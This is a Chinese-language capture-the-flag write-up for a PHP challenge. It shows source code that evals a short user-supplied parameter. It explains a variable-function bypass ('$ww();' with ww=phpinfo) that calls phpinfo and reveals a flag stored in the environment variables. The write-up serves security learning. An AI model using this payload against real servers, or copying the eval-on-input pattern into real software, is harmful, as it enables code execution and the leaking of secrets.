www

#Web #PHP #可变函数 #bypass

```
/
```

```php
<?php
error_reporting(0);
highlight_file(__FILE__);
$w = function ($ww) {
    if (!is_string($ww)) {
        die('www');
    }
    if (preg_match('/[^a-zA-Z0-9]/', $ww)) {
        die('www');
    }
    return $ww;
};

if (!isset($_GET['ww'])) {
    die('www');
}
$ww = $w($_GET['ww']);

if (!isset($_GET['www'])) {
    die('www');
}
$www = $_GET['www'];

if (strlen($www) > strlen('www' . 'www')) {
    die('www' . 'www');
}
eval($www);
```

```
www
```

总体逻辑是酱：

1. 可控参数为`ww`和`www`
2. `w`要求`ww`为字符串，且只包含字母和数字
3. `www`不能超过六个字符
4. `www`被`eval`

疑点：

- `ww`并未被使用（这算不算hint#0呢qwq）

目的是调用`phpinfo`（hint#1），考虑到长度限制，`ww`得用到。于是可以构造`$www = '$ww();'`以及`$ww = 'phpinfo';`，这样就能调用到`phpinfo`了。

这里利用了`php`的一个叫做可变函数的特性（hint#2），可以通过变量后跟括号的方式执行变量包含的函数名对应的函数。

```
/?ww=phpinfo&www=$ww();
```

APACHE_ENVVARS	/etc/apache2/envvars
PHP_CPPFLAGS	-fstack-protector-strong -fpic -fpie -O2
APACHE_RUN_USER	www-data
FLAG	Spirit{b34dd9c5-021a-4c42-b0fd-771931c15524}
PHP_VERSION	7.2.0
APACHE_PID_FILE	/var/run/apache2/apache2.pid
SHLVL	0
PHP_MD5	*no value*
PATH	/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin
PHP_SHA256	87572a6b924670a5d4aac276aaa4a94321936283df391d702c845ffc112db095

PHP Variables

flag在环境变量里～